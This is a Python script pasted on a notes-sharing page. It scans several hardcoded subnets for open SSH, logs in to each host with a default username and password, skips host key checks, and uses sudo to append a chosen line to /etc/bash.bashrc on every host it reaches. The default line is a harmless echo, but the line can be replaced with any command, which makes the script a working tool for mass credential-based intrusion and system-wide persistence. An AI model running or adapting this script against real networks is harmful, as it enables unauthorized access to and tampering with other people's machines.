Notes
Notes - notes.io |
import argparse
import subprocess
import sys
import logging
from typing import List, Tuple
DEFAULT_NETWORKS = [
"192.151.15.0/24",
"192.151.16.0/24",
"192.151.17.0/24",
"192.151.18.0/24",
]
DEFAULT_USER = "student"
DEFAULT_PASS = "Pa$$w0rd"
DEFAULT_NMAP_TIMEOUT = 60
logger = logging.getLogger("ssh_scanner")
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s: %(message)s")
def scan_ssh_hosts(networks: List[str], nmap_timeout: int = DEFAULT_NMAP_TIMEOUT) -> List[str]:
ips = set()
for network in networks:
logger.info("Scanning %s for port 22...", network)
try:
p = subprocess.run(
["nmap", "-Pn", "-sS", "-p", "22", "--open", network, "-oG", "-"],
capture_output=True,
text=True,
timeout=nmap_timeout,
)
except subprocess.TimeoutExpired:
logger.warning("nmap scan for %s timed out.", network)
continue
if p.returncode != 0 and not p.stdout:
logger.warning("nmap returned non-zero exit code %s for %s: %s", p.returncode, network, p.stderr.strip())
for line in p.stdout.splitlines():
if line.startswith("Host:"):
parts = line.split()
if len(parts) >= 2:
ips.add(parts[1])
return sorted(ips)
def build_remote_cmd(line_to_append: str) -> str:
safe_line = line_to_append.replace("'", "'"'"'")
remote_cmd = f"echo '{safe_line}' | sudo tee -a /etc/bash.bashrc > /dev/null"
return remote_cmd
def query_with_paramiko(ip: str, user: str, password: str, remote_cmd: str, timeout: int = 10) -> Tuple[str, str]:
try:
import paramiko
except Exception as e:
raise RuntimeError("paramiko not installed") from e
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=password, timeout=timeout, allow_agent=False, look_for_keys=False)
stdin, stdout, stderr = client.exec_command(remote_cmd, get_pty=True, timeout=timeout)
try:
stdin.write(password + "n")
stdin.flush()
except Exception:
pass
out = stdout.read().decode(errors="ignore")
err = stderr.read().decode(errors="ignore")
client.close()
return out.strip(), err.strip()
def query_with_sshpass(ip: str, user: str, password: str, remote_cmd: str, timeout: int = 15) -> Tuple[str, str]:
cmd = [
"sshpass",
"-p",
password,
"ssh",
"-o",
"StrictHostKeyChecking=no",
"-o",
"ConnectTimeout=10",
f"{user}@{ip}",
remote_cmd,
]
p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
if p.returncode != 0:
raise RuntimeError(p.stderr.strip() or f"ssh exited {p.returncode}")
return p.stdout.strip(), p.stderr.strip()
def process_host(ip: str, user: str, password: str, remote_cmd: str, use_paramiko: bool, timeout: int):
try:
if use_paramiko:
out, err = query_with_paramiko(ip, user, password, remote_cmd, timeout=timeout)
else:
out, err = query_with_sshpass(ip, user, password, remote_cmd, timeout=timeout)
if err:
logger.info("%s: finished with stderr: %s", ip, err)
else:
logger.info("%s: success. stdout: %s", ip, out or "<no output>")
except subprocess.TimeoutExpired:
logger.error("%s: failed - timeout", ip)
except Exception as e:
logger.error("%s: failed - %s", ip, e)
def parse_args():
p = argparse.ArgumentParser(description="Scan networks for SSH and append a line to /etc/bash.bashrc")
p.add_argument("--networks", "-n", nargs="+", default=DEFAULT_NETWORKS, help="CIDR networks to scan")
p.add_argument("--user", "-u", default=DEFAULT_USER, help="SSH username")
p.add_argument("--password", "-p", default=DEFAULT_PASS, help="SSH password")
p.add_argument("--use-sshpass", dest="force_sshpass", action="store_true", help="Force use of sshpass instead of paramiko")
p.add_argument("--timeout", type=int, default=15, help="Per-host command timeout in seconds")
p.add_argument("--line", default='echo "I still see your shadows in my room"', help="Line to append to remote bash.bashrc")
return p.parse_args()
def main():
args = parse_args()
logger.info("Networks: %s", args.networks)
logger.info("User: %s", args.user)
logger.info("APPLY MODE - Changes will be made")
hosts = scan_ssh_hosts(args.networks)
if not hosts:
logger.info("No hosts with port 22 open found.")
return
use_paramiko = False
if not args.force_sshpass:
try:
import paramiko
use_paramiko = True
except Exception:
use_paramiko = False
if use_paramiko:
logger.info("Using paramiko for SSH connections.")
else:
logger.info("Using sshpass+ssh for connections.")
remote_cmd = build_remote_cmd(args.line)
for ip in hosts:
process_host(ip, args.user, args.password, remote_cmd, use_paramiko, timeout=args.timeout)
if __name__ == "__main__":
main()
![]() |
Notes is a web-based application for online taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000+ notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 14 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team
